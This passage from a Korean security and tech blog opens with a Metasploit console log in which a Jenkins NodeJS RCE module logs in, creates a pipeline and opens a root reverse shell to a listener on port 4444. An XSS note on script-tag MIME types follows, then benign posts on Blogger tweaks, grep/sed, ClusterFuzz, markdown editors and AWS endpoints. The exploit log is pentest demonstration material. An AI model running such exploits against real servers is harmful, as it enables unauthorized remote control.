HAHWUL exploit(mad_metasploit/exploits/multi/http/jenkins_nodejs_rce) > set RHOSTS 192.168.0.15
RHOST => 192.168.0.15
HAHWUL exploit(mad_metasploit/exploits/multi/http/jenkins_nodejs_rce) > set USERNAME test1
USERNAME => test1
HAHWUL exploit(mad_metasploit/exploits/multi/http/jenkins_nodejs_rce) > set PASSWORD test1234
USERNAME => test1234

Exploit!
HAHWUL exploit(mad_metasploit/exploits/multi/http/jenkins_nodejs_rce) > exploit

[*] Started reverse TCP handler on 192.168.0.7:4444 
[*] Attempting to login to Jenkins dashboard
[*] JSESSIONID.018cd1c9=node03yxndnkhivmt1dy09oduoa4zz11.node0;
[*] Logging in...
[+] Login Successful
[*] Jenkins-Crumb: 4c8119fd983b2e4c4c27307457d3f8b3
[+] Pipeline was created and Node JS code was integrated.
[*] Trying to get remote shell..
[*] Command shell session 1 opened (192.168.0.7:4444 -> 192.168.0.15:46044)

whoami 

root

Reference

https://pentest.com.tr/exploits/Jenkins-Remote-Command-Execution-via-Node-JS-Metasploit.html
https://wiki.jenkins.io/display/JENKINS/NodeJS+Plugin
https://wiki.jenkins.io/display/JENKINS/Remote+access+API
Share: | Coffee Me:

MIME Types of script tag (for XSS)

XSS 테스트 도중에 이런 케이스가 있었는데, 실행이 안됬었습니다..

https://gph.is/1yw44rd


[ Request ]
?param=alert(45)/*PLAINTEXT*/

[ Response ]
<script type=“secret!">alert(45)/*
PLAINTEXT
*/</script>

Console 봐도 따로 에러도 안뜨고 … 이상했죠. 좀 뒤적뒤적 찾아보니 script tag에서 허용 가능한 MIME Type이 아니라서 발생한 문제였습니다.
(노리고 구현한건가….)

<script type="hahwul">alert(45)</script>
  <script type="application/ecmascript">console.log('1 - application/ecmascript');</script>
  <script type="application/x-javascript">console.log('2 - application/x-javascript');</script>
  <script type="text/javascript">console.log('3 - text/javascript');</script>
  <script type="">console.log('4 - blank');</script>
  <script >console.log('5 - none');</script>
  <script type="module">console.log('6 - module');</script>
  <script type="hahwul">console.log('7 - hahwul...zz');</script>

custom한 type은 동작하지 않습니다.


이외에도 몇개 더 있는데 허용된 MIME 타입을 보면 이렇습니다.
  +-----------------------------------------------------+
  | text/javascript          | text/ecmascript          |
  | text/javascript1.0       | text/javascript1.1       |
  | text/javascript1.2       | text/javascript1.3       |
  | text/javascript1.4       | text/javascript1.5       |
  | text/jscript             | text/livescript          |
  | text/x-javascript        | text/x-ecmascript        |
  | application/x-javascript | application/x-ecmascript |
  | application/javascript   | application/ecmascript   |
  +-----------------------------------------------------+

Javascript MIME Types in RFC

MIME Type에 대한 내용은 RFC 문서에 정의되어 있습니다. 물론, RFC 문서 상 데이터가 전부는 아니고 module 같이 특수한 경우도 추가로 더 있습니다. 참고 정도로 보시면 좋을듯하니다.
http://www.rfc-editor.org/rfc/rfc4329.txt
7.  JavaScript Media Types


7.1.  text/javascript (obsolete)


   Type name:               text
   Subtype name:            javascript
   Required parameters:     none
   Optional parameters:     charset, see section 4.1.
   Encoding considerations:
      The same as the considerations in section 3.1 of [RFC3023].


   Security considerations: See section 5.
   Interoperability considerations:
      None, except as noted in other sections of this document.


   Published specification: [JS15]
   Applications which use this media type:
      Script interpreters as discussed in this document.


   Additional information:


      Magic number(s):             n/a
      File extension(s):           .js
      Macintosh File Type Code(s): TEXT


   Person & email address to contact for further information:
      See Author's Address section.


   Intended usage:          OBSOLETE
   Restrictions on usage:   n/a
   Author:                  See Author's Address section.
   Change controller:       The IESG.


7.2.  application/javascript


   Type name:               application
   Subtype name:            javascript
   Required parameters:     none
   Optional parameters:     charset, see section 4.1.
   Encoding considerations:
      The same as the considerations in section 3.2 of [RFC3023].


   Security considerations: See section 5.
   Interoperability considerations:
      None, except as noted in other sections of this document.


   Published specification: [JS15]
   Applications which use this media type:
      Script interpreters as discussed in this document.


   Additional information:


      Magic number(s):             n/a
      File extension(s):           .js
      Macintosh File Type Code(s): TEXT


   Person & email address to contact for further information:
      See Author's Address section.


   Intended usage:          COMMON
   Restrictions on usage:   n/a
   Author:                  See Author's Address section.
   Change controller:       The IESG.


etc….

Reference

http://www.rfc-editor.org/rfc/rfc4329.txt
https://developer.mozilla.org/ko/docs/Web/HTTP/Basics_of_HTTP/MIME_types
Share: | Coffee Me:

2/13/2019

Twitter Card on Google Blogger(블로거에 트위터 카드 적용하기)

트위터 공유하면서 의아했던게 하나 있느데, 트위터에선 og태그가 먹지 않습니다..

별 신경 안쓰고 있다가 혹시나 하고 좀 찾아보니 별도의 포맷을 가지고 있더군요. 간략하게 정리해봅시다.

결과는 이런거에요 :)


Twitter Card

트위터에선 og태그와 비슷한 기능을 하는 것을 카드라고 부릅니다. 포맷은 이런 형태입니다.
  • twitter:card - card type
  • twitter:url - url
  • twitter:title - 제목
  • twitter:description - 내용 일부
  • twitter:image - 대표 이미지
여기서 card type이 뭘까 하실 수 있는데, 아래 링크 보시면 대충 알 수 있습니다.
https://developer.twitter.com/en/docs/tweets/optimize-with-cards/overview/abouts-cards.html
  • summary. : 일반적인 웹 사이트 카드
  • summary-large : 이미지 큰 버전
  • player : 비디오 재생 가능한 카드
  • app : Download app 같이 기능 담을 수 있는 카드
정도가 있고 용도에 맞게 사용해주시면 됩니다. meta 태그 예시는 이렇습니다.
<meta name="twitter:card" content="summary">
<meta name="twitter:url" content="https://www.hahwul.com">
<meta name="twitter:title" content="제목제목">
<meta name="twitter:description" content="내용 요약">
<meta name="twitter:image" content="혹시나 있다면 이미지!">

다른 Card 적용하기

카드 Type별 예시: https://developer.twitter.com/en/docs/tweets/optimize-with-cards/overview/abouts-cards.html
카드 문법: https://developer.twitter.com/en/docs/tweets/optimize-with-cards/overview/markup

Twitter card on Google Blogger

예전에 og태그랑 카카오링크 공유하기 적용한거랑 거의 비슷합니다. Blogger 문법으로 적용 가능합니다.
(Javascript로 처리할수도 있지만, 웹에서 <meta> 태그를 먼저 읽기 떄문에 정확하게 적용될지는 모르겠네요)
Title: 
 - Blogger: <data:post.title/>
 - Javascript: document.title
Image:
 - Blogger: <data:post.firstImageUrl>
 - Javascript: document.images[0].src
Url: 
 - Blogger: <data:post.sharePostUrl>
 - Javascript: document.location.href
Description: 
 - Blogger: <data:post.metaDescription>, <data:post.snippet>
 - Javascript: X
Blogger에 적용하기엔 Blogger 태그가 편하니깐 이쪽으로 작성해보겠습니다. 우선 data:post가 post 영역 하위에서만 먹히기 때문에 아래 부분을 찾기로 찾아줍시다
Ctrl+F - 입력
<b:includable id='post' var='post'>
그다음 하위에 아래와 같이 코드를 넣어줍니다.
<meta content='summary' name='twitter:card'/> 
<meta content='@hahwul' name='twitter:site'/>
<meta content='@hahwul' name='twitter:creator'/>
<meta content='www.hahwul.com' name='twitter:domain'/>
<meta expr:content='data:post.firstImageUrl' name='twitter:image:src'/>
<meta expr:content='data:post.title' name='twitter:title'/>
<b:if cond='data:blog.metaDescription'>
 <meta expr:content='data:blog.metaDescription' name='twitter:description'/>
<b:else/>
 <meta expr:content='data:post.snippet' name='twitter:description'/>
</b:if>
<meta expr:content='data:post.sharePostUrl' name='twitter:url'/>
그러고 validator(https://cards-dev.twitter.com/validator)로 테스트해보면..


와우 잘 되네요!

테스트하면서 삽질좀 했었는데, 혹시나 도움되실 가능성도 있으니 추가해놓습니다.

A waste of time..

post 이외에서 작성하는 방법입니다. 처음에 최상단에 적용하려고 이렇게 헀었다가 이미지 불러올 방도가 없어서 포기..
<head>
    <meta name="twitter:card" content="summary_large_image" />
    <meta name="twitter:url" expr:content='data:blog.url' />
    <meta name="twitter:title" expr:content='data:blog.pageTitle' />
    <meta name="twitter:description" content="내용 요약" />
    <meta name="twitter:image" content="혹시나 있다면 이미지!" />
</head>
Javascript를 이용한 동적 구성인데, 코드상으로 반영은되나 twitter가 제대로 못불러왔던 것 같습니다.
(이건 좀 테스트 해봐야 정확하게 될지 안될지 나올 것 같네요..
<head>
    <meta name="twitter:card" content="summary_large_image" />
    <meta name="twitter:url" content="https://www.hahwul.com" />
    <meta name="twitter:title" content="제목제목" />
    <meta name="twitter:description" content="내용 요약" />
    <meta name="twitter:image" content="혹시나 있다면 이미지!" />
</head>

<script>
  $("meta[name='twitter:url']").attr("content", document.location); 
  $("meta[name='twitter:title']").attr("content", document.title); 
  $("meta[name='twitter:description']").attr("content", "abcd"); 
  $("meta[name='twitter:image']").attr("content", "abcd");
</script>

Reference

https://developer.twitter.com/en/docs/tweets/optimize-with-cards/overview/abouts-cards.html
https://developer.twitter.com/en/docs/tweets/optimize-with-cards/overview/markup
Share: | Coffee Me:

2/11/2019

grep과 sed를 이용한 다수 파일 내 문자열 치환

별건 아니지만, 이런 명령어는 자주 안쓰면 까먹기 떄문에 메모차 작성해둡니다.

요약

$ grep "찾을 문자열" * -rl | xargs sed -i 's/찾을 문자열/바꿀 문자열/g'

History..

Mad metasploit을 msf 적용 후 로드 시 Metasploit3~4 어쩌고 저쩌고 하는 모듈 워닝이 발생하는데, 이는 레거시 코드(바뀐지 그리 오래된 것 같진 않음..)로 인해 발생하는 오류였습니다.
Metasploit3 Metasploit4 라는 이름의 class 사용이 금지된건데, 이는 MetasploitModule 이라는 클래스 명으로 전환하여 코드를 재사용할 수 있어 grep 과 sed로 치환하여 사용했습니다.

우선 문제가 발생한 코드들을 보면… 어마어마하게 많았고
$ grep "Metasploit3" * -R
auxiliary/scanner/http/fingerprint.rb:class Metasploit3 < Msf::Auxiliary
auxiliary/securestate/proxy_config.rb:class Metasploit3 < Msf::Auxiliary
auxiliary/securestate/owa_login.rb:class Metasploit3 < Msf::Auxiliary
auxiliary/securestate/cdp.rb:class Metasploit3 < Msf::Auxiliary
auxiliary/capture/mdns_collector.rb:class Metasploit3 < Msf::Auxiliary
auxiliary/bruteforce/eap_md5_dict.rb:class Metasploit3 < Msf::Auxil
....

-ㅣ 옵션을 주면 해당 경로만 찾아낼 수 있는데,
$ grep "Metasploit3" * -rl
auxiliary/scanner/http/fingerprint.rb
auxiliary/securestate/proxy_config.rb
auxiliary/securestate/owa_login.rb

이걸 xargs로 sed에게 전달하고 치환시키면 됩니다(sed 방법은 vim 내부에서도 쓰이는 방법이죠)
$ grep "Metasploit3" * -rl | xargs sed -i 's/Metasploit3/MetasploitModule/g'
grep "Metasploit4" * -rl | xargs sed -i 's/Metasploit4/MetasploitModule/g'
Share: | Coffee Me:

2/10/2019

ClusterFuzz - scalable fuzzing infrastructure(On Google)

트윗 보다가 kitploit에 눈길가는 툴하나 올라와서 간략하게 정리해봅니다.
ClusterFuzz라는 도구로 Google에서 사용하고 있는 퍼징 인프라(?) 라고 합니다.



CusterFuzz 자체는 퍼징 도구인데, 이를 다른 시스템들과 연결하여 마치 하나의 인프라 처럼 동작한다는 의미인 것 같습니다.

구조

도구 자체의 기능이나 그런 것 보다는 구조가 조금 더 중요하단 생각이 들어 조금 찾아봤습니다.
우선 구글의 oss-fuzz와 연결되어 오픈소스 코드(예를들면 크로미움)에 대해 퍼징하고 자동으로 리포팅하는 형태로 구성되어 있습니다.



이런 과정에서 ClusterFuzz는 실제 퍼징을 담당하게 되는거죠. 발견 사항은 자동으로 BTS로 리포팅하고(대상은 모노레일) 개발자에게 노티되는 형태로 동작합니다.

What is ClusterFuzz?

그럼 ClusterFuzz가 일반적인 Fuzzer, Fuzzing framework와 다른점이 뭐가 있을까요? 구글 공식 내용으론 이렇습니다.
  • Highly scalable : 스케일업/다운이 쉽게 가능한 퍼저?
  • Accurate deduplication of crashes.: 완전한 중복제거
  • Fully automatic bug filing and closing for issue trackers : 이슈둥록(BTS)까지 전자동화
  • Testcase minimization. : 테스트 케이스 최소화
  • Regression finding through bisection. : 직역으론 이분법을 통한 회기 분석이라는데 정말 저 의미인지는 모르겠네요..
  • Statistics for analyzing fuzzer performance, and crash rates. : 성능, 통계 제공
  • Easy to use web interface for management and viewing crashes. : 웹 잘 만들어놓음
  • Support for coverage guided fuzzing (e.g. libFuzzer and AFL) and blackbox fuzzing. : blackbox 테스트 가능하고 퍼징에 대해 가이드?
제가 제일 관심있게 생각되는걸로 보면 이슈 등록 전자동화, 테스트 케이스 최소화 정도가 되겠네요.



Fully Automatic bug managing

BTS, 즉 이슈 관리 도구의 API 사용 등으로 솔직히 쉽게 구축할 수 있는 부분이라고 생각합니다만, 이에따른 리스크를 얼마나 적절히 해결했는가가 중요한 것 같습니다.

일반적인 취약점 분석에서도 이슈 등록/처리에 대해 어느정돈 자동화할 수 있지만 문제가 되는게 이슈의 타당성, 중복여부, 환경에 따른 다른 처리? 정도가 발목을 잡을텐데요. 여기서 중복의 경우는 위에 완전하게 제거 했다고 하니..없다고 치고 나머지 2개에 대해 생각해봐야 할 것 같네요.

이슈의 타당성의 경우 자동으로 등록된 이슈가 진짜 이슈인지, 처리할 수준의 가치가 있는 이슈인지 구별할 수 있냐가 성능적인 관건이 될거라 생각합니다. 저도 예전에 이슈 자동화에 대해 고민을 좀 했었는데, 결국 다가온 문제가 이 문제였습니다.

두번째도 방금 이야기한거긴한데, 환경에 따라서 이슈에 대해 어떻게 구별할까입니다.
예를들어 A에서 XSS 취약점이 발견되었는데, 이게 B에서는 이슈가 아닐수도 있는 경우입니다.
이유가 단순하다면 상관없겠지만, 여러 취약점/버그, 이에따른 여러가지 상황이 접목되면 코드단에서 판단하기 까다로워집니다. 결국은 사람의 개입이 어느정도 들어갈질 수 밖에 없고, 그런 경우 전체 자동화라곤 이야기하기 어려워집니다.

구글이 얼마나 잘 구현했는가가 중요하겠지만, 외부에 오픈할 수 있을 정도의 프로젝트라면 머리를 많이 굴렸을거라 생각되네요! 갓구글

Testcase Minimization

테스트 케이스 최소화란 의미가 아마 이런걸로 쓰인게 아닐까 싶습니다.

사용자가 테스트해야할 케이스에 대한 최소화

기본적으로 여러가지 필터+검색 조합으로 의미있는 결과 위주로 보는게 베스트이고, 별도의 테스트 케이스 업로드로 특정 대상/특정 버그에 대해 쉽게 테스트할 수 있도록 지원해주는 것 같습니다. 이런 방식은 외부에서 수집한 테스트 케이스, 공격코드에 대해 좀 더 체계적으로 테스트할 수 있고, 여러 타겟에 대해서도 체크해보기 좋을 것 같네요(아무래도 발견된 부분이 다른 시스테멩서 영향을 줄 수 있기 때문이죠)

How to use?

ClusterFuzz는 GCP(Google Cloud Platform)에서 동작하도록 구성되었지만, 별도로 로컬 환경에서도 구동될 수 있습니다.
(다만 구글 클라우드 서비스쪽 의존성이 있어서 잘될지는 모르겠네요)

$ git clone https://github.com/google/clusterfuzz cd clusterfuzz
프로덕션에 적용하려면..
$ gcloud auth application-default login gcloud auth login 

 or 

$ local /install_deps.bash
$source ENV/bin/activate 
$python butler.py --help

아 확인해보니 테스트 목적으로 로컬에서 쓰는건 의존성 괜찮다고 하네요!

서버 실행하려면. butler.py 돌려줍니다.
$ python butler.py run_server --bootstrap
봇 구동은..
$ python butler.py run_bot --name my-bot /path/to/my-bot

Conclusion

본질적으로 클라우드 서비스를 위한 툴이지만 구성이나 방식, 문제 해결에 대한 부분은 참고할게 많을 것 같습니다. 혹시나 비슷한 프로젝트를 구상하고 계신다면 충분히 참고해볼만할 것 같네요 :)

References

https://opensource.googleblog.com/2019/02/open-sourcing-clusterfuzz.html
https://google.github.io/clusterfuzz/
https://github.com/google/oss-fuzz
https://github.com/google/clusterfuzz
Share: | Coffee Me:

2/07/2019

How to Re-Size Image in Blogger

이거 이전글(video resize) 작성하면서 블로그 내 이미지도 최대 크기로 조정했는데, 메모할겸 남겨둡니다.
google blogger에서 첨부/삽입한 이미지는 별로의 class,id를 주지 않기 때문에 .post-body(본문)에 직접 css를 지정해주어야합니다.
어차피 .post-body에서 img 태그가 쓰이는건, 첨부한 이미지가 전부인지라, 최대 크기 및 테두리만 지정하였습니다.
.post-body img{
border:1px solid #333333; 
max-width: 100%;
max-height: auto;
display: block;
margin: auto;
}
혹시나 비슷한거 적용하신다면 참고하시길 바래요 :)


최대 크기가 되었습니다.

주의사항

다만 하나 주의해야할 부분이 있는데, 위에 css 코드로는 글 작성 구간에서 직접 크기 조절한 부분은 처리할 수 없습니다. (글 작성에서 작게,보통,크게 등을 했을 때 img 태그에 width, height 속성으로 직접 붙게되는데 css 우선순위 상 가장 높은 순위라 이미지 로드가 끝난 후 리사이징하지 않는 이상 변경이 불가능해집니다.

<!-- 작성 구간에서 크기조정을 해버리면, 이렇게 width, height가 강제로 붙어집니다. -->
<img border="0" data-original-height="375" data-original-width="938" height="254" src="https://2.bp.blogspot.com/-aIPd5oXJSd8/XFr_XY7CRFI/AAAAAAAADtw/fAj7f-Vq1z8FMIUv-aJp2x5q7Mt8WMjXACLcBGAs/s640/Selection_085.png" width="640" />

Share: | Coffee Me:

How to Re-Size Video in Blogger Posts

Problem

구글 블로거에선 글 작성중에 youtube 영상을 삽입하는 기능이 있습니다. 이 기능을 사용해서 영상을 삽입하게 되면 아래와 같이 굉장히 작은 화면으로 나타나집니다(이게 기본 크기..)
그래서 보통 youtube 페이지에서 공유(iframe 태그) 하여 코드 삽입하고 직접 크기 조정을 했었는데,약간의 트릭으로 손이 좀 덜가게 리사이즈할 수 있습니다.


영상 추가 기능

위 기능으로 삽입 시 작은 크기가 기본 값임

Add resize code(with jquery)

iframe 영역 로드되고 size를 재 지정해서 전체화면으로 보여줄 수 있습니다.
<head>
<!-- Need jquery -->
<!-- Youtube resize -->
<script>
$('.YOUTUBE-iframe-video').ready(function(){
$('.YOUTUBE-iframe-video').parent().css({
    'position': 'relative',
    'padding-bottom': '56.25%',
    'height': '0',
    'clear': 'both',
    'text-align': 'center',
    'margin': '20px 0'
});

$('.YOUTUBE-iframe-video').css({
    'position': 'absolute',
    'top': '0',
    'left': '0',
    'width': '100%',
    'height': '100%',
});
});
</script>
</head>


Share: | Coffee Me:

2/06/2019

editor.js - Simple Markdown Javascript Library

하루패드(haroopad) 알기전에 google blogger에 markdown 어떻게 적용할까 고민이 많았었는데요, 그러면서 찾아본것들 중 하나 간략하게 소개해드릴까 합니다. editor.js란 자바스크립트 라이브러리로 별다른 코드 없이 웹상에서 마크다운 에디터를 구현할 수 있습니다.

lepture editor

우선 git 주소는 https://github.com/lepture/editor 입니다. 자체 cdn에서 js 파일 로드 후 Editor 객체 생성으로 만들 수 있습니다.

<link rel="stylesheet" href="http://lab.lepture.com/editor/editor.css" />
<script type="text/javascript" src="http://lab.lepture.com/editor/editor.js"></script>
<script type="text/javascript" src="http://lab.lepture.com/editor/marked.js"></script>

<!-- 실제 에디터가 생성될 위치 -->
<textarea id="editor"></textarea> 

<script>
var editor = new Editor({
element: document.getElementById("editor")
});
// editor 객체 생성

editor.render();
// 랜더링!
post
</script>

markdown editor

preview markdown


Editor Styling

위에 코드 기준으론 https://lab.lepture.com/editor/editor.css 에서 스타일을 정하게 됩니다.
로컬이나 별도로 구성하신 css로 땡겨서 디자인을 바꿀 수 있습니다.

각 영역별 이름은 이렇습니다.

editor-toolbar : 에디터 상단 툴바에 대한 서식
CodeMirror : 본문 서식
editor-preview : markdown 미리보기에 대한 서식

예를들어 본문(Editor) 부분의 색감을 바꾸자고 한다면..

.CodeMirror {
  height: 450px;
  background-color: black;
  color: white;
}


Share: | Coffee Me:

2/05/2019

HarooPad - markdown 에디터(to html view, to plain html)

markdown이 편한지라, 메모나 블로깅 초안 작성도 기본적으로 markdown으로 작성합니다. 다만 이 과정이 전문화된 에디터는 아니고 가벼운 코딩용으로 쓰던 geany에서 그냥 작성만 해서 사용했습니다.

그냥 마음속으로만 컨버팅해서 보는 ..ㅜㅜ

요즘 필요성을 느낀 부분이 mark => html, 중에서도 plain html을 보는거였는데 혹시나 좋은 에디터가 있을까 좀 찾아봤습니다.

Problem - Geany markdown plugin not supported markdown

원래 geany에서도 markdown 지원을 원래 했습니다만... 어느날부터 보이지 않았던 것 같네요..

apt-cache search geany-plugin-markdown

????
확인해보니, ubuntu 18.04로 배포판 업이 있으면서, Geany랑 plugin들이 WebkiGTK => GTK3로 넘어가는 추세라고 하는데 이 과정에서 markdown plugin측이 아직 준비가안되어서 그렇다고 합니다.
단 이때가 작년 봄쯤인데, 왜 아직도 없지 하는 마음에 좀 더 찾아봤더니, 반영중이던 코드가 결국 문제가 있어 revert 되었다고 하네요..
https://github.com/geany/geany-plugins/issues/743
https://github.com/geany/geany-plugins/pull/677
결국은, 다른 에디터나 별도로 개발이 필요한 상태가 되었죠..

HarooPad

rhio kim, 한국 개발자님이 만들어주신 마크다운 에디터입니다. 깔끔한 외형에 크로스 플랫폼 지원하고, 에버노트 연동도 지원해서 사용하기 좀 편할 것 같습니다.

대표적인 기능들

우선 다운로드 하고 설치해줍시당. 전 리눅스니 .deb 파일로 받았고 환경에 따라서 다운받아 설치해주시면 될 것 같습니다.
# wget https://bitbucket.org/rhiokim/haroopad-download/downloads/haroopad-v0.13.1-x64.deb
--2019-02-05 01:06:11--  https://bitbucket.org/rhiokim/haroopad-download/downloads/haroopad-v0.13.1-x64.deb
# dpkg -i haroopad-v0.13.1-x64.deb 
Selecting previously unselected package haroopad.
(Reading database ... 261392 files and directories currently installed.)
Preparing to unpack haroopad-v0.13.1-x64.deb ...
Unpacking haroopad (0.13.1) ...
Setting up haroopad (0.13.1) ...
Processing triggers for desktop-file-utils (0.23-1ubuntu3.18.04.2) ...
Processing triggers for gnome-menus (3.13.3-11ubuntu1.1) ...
Processing triggers for mime-support (3.60ubuntu1) ...
Processing triggers for hicolor-icon-theme (0.17-2) ...
링크
http://pad.haroopress.com/user.html#download


markdown to html, and… plain html?

사실 이게 가장 중요한 부분이였고, 찾아도 없다면 만들 생각이였습니다만…. 지원하네요!!


Blogger에 사용할 떄 불편한건 없을까?

우선 h1, h2 등은 크게 상관없을 것 같았는데, 걱정이였던건 <pre><code> 중에서도 언어 선택이 되어있는 경우입니다.
마크다운의 경우
```ruby
puts "Hi"
```
이게 어떻게 표현되는가인데, HarooPad에선..
<pre><code class="ruby">
puts "Hi"
</code></pre>




정확하네요 ㅜㅜ
개발자님 정말 감사합니다 :)


Markdown post on blogger



Share: | Coffee Me:

AWS 서울 리전 내 서비스 도메인, 전체 리전 정보(Domain of AWS Region)

AWS는 전세계적으로 정말 많이 사용되는 클라우드 플랫폼입니다. 테스트할 떄 aws 서버를 만날 상황이 있는데, 이때 참고하고자 서울 리전 정보 기록해둡니다.

서울 이외에 외국에 리전을 둘수도 있는데, 고건 아래 문서에서 보고 참고하시면 좋을듯합니다.

서울 리전 도메인 정보(Domain of Seoul Region)

오토스케일링, EC2 Autoscalling
 autoscaling.ap-northeast-2.amazonaws.com

Athena
 athena.ap-northeast-2.amazonaws.com

Aurora(Mysql/Postgresql)
 rds.ap-northeast-2.amazonaws.com

Batch
 batch.ap-northeast-2.amazonaws.com

Certificate Manager
 acm.ap-northeast-2.amazonaws.com
 
Cloudformation 
 cloudformation.ap-northeast-2.amazonaws.com

CloudHSM
 cloudhsmv2.ap-northeast-2.amazonaws.com 

CloudMap
 servicediscovery.ap-northeast-2.amazonaws.com 

CloudSearch
 cloudsearch.ap-northeast-2.amazonaws.com

CloudTrail
 cloudtrail.ap-northeast-2.amazonaws.com

CloudWatch
 monitoring.ap-northeast-2.amazonaws.com

CloudWatch Event
 events.ap-northeast-2.amazonaws.com

CloudWatch Log
 logs.ap-northeast-2.amazonaws.com

CloudBuild
 codebuild.ap-northeast-2.amazonaws.com
 
CodeCommit
 codecommit.ap-northeast-2.amazonaws.com
 
ES Cache
 elasticache.ap-northeast-2.amazonaws.com

등등..  자세히 보면 서비스 고유 주소 + northeast-2 로 이루어진걸 알 수 있습니다.

결국 서울 리전은 northeast-2 라고 생각하심 좋을듯해요.

리전 전체 정보(All region)

아마존 aws 문서에서 친절하게 잘 정리되어 있습니다.
https://docs.aws.amazon.com/ko_kr/general/latest/gr/rande.html

Share: | Coffee Me:

2/02/2019

꼭 봐야할 Metasploit 콘텐츠 4가지(Awesome Metasploit Contents)

작년부터 mad-metasploit 이란 프로젝트를 살살 진행중입니다.
(https://github.com/hahwul/mad-metasploit)

Custom module, resource-script, plugins 등을 지원하고, 결과적으론 awesome 에 들어갈정도의 수준이 되는게 골이라고 생각합니다.
아무튼, 이 mad-metasploit 프로젝트안에서 awesome metasploit 을 따로 모아두려고 하는데, 그 중 꼭 접해봐야할 것들 4가지에 대해 간단하게 소개시켜드리려고 합니다. (전 거의 수시로 보고있던 페이지, 컨텐츠들이네요)

1. Metasploit unleashed

Metasploit 시작은 unleashed에서!
Offensive security에서 공식적으로 지원해주는 트레이닝 코스(?) 같은거지만, 별도로 튜토리얼에 대해 정리된 페이지들이 있습니다.

https://www.offensive-security.com/metasploit-unleashed/

전반적인 사용 방법에 대해서 기반 다지기엔 여기가 최고인 것 같네요. 여기 나와있는 것들은 기본적으로 깔고간다고 생각하시믄, Metasploit을 활용하는데 있어 굉장히 수월해질겁니다.


2. Metasploit Minute

두번째는 Hak5에서 운영하는 컨텐츠 중 metasploit-minute입니다. (전반적으로 hak5 즐겨보고 있고, 따로 유투브 준비하려는 것도 hak5측 많이 참고하려고 해요) 아무튼 metaspliot-minute은 Metasploit을 활용하는 방법들에 대한 영상 컨텐츠이고, 되게 unleashed에 없는 부분들도 많이 하기 떄문에 종종 보시기에 굉장히 좋은 컨텐츠라고 생각이 듭니다.

https://www.hak5.org/shows/metasploit-minute



3. metasploit-framework wiki(for Developement)

세번째는 metasploit 공식 위키입니다. 정확히는 developement wiki 이죠. module, plugin, resource-script 및 metasploit 자체를 커스텀해서 사용할 때 계속 꾸준히..아주아주 꾸준히 봐야할 문서이고, metasploit 동작 이해하는데도 굉장히 도움되는 부분들입니다. 아무래도 wiki이기 때문에

https://github.com/rapid7/metasploit-framework/wiki

4. metasploit rdoc(for Developement)

마지막으로 metasploit rdoc입니다. metasploit 자체가 gem library로도 배포되고 documentation rdoc으로 되어있기 떄문에 개발 관련 관점에서 보신다면 wiki와 함께 많이 봐야할 문서입니다. (metasploit 코드라인 보시게되면 결국은 rdoc을 제일 많이 참고하게 됩니다)

다행스럽게도 rapid7에서 metasploit을 재구성(ruby로)할 떄 documentation을 굉장히 잘 해둔 것 같네요.

https://www.rubydoc.info/github/rapid7/metasploit-framework/ 



Conclusion

이외에도 각종 블로그, 페이지 등등 참고할 곳이 굉장히 많습니다, 언젠간 제가 진행하는 mad-metasploit도 여러 사람들에게 참고가 되는 그런 것이 되었으면 하는 바램이네요.

Share: | Coffee Me: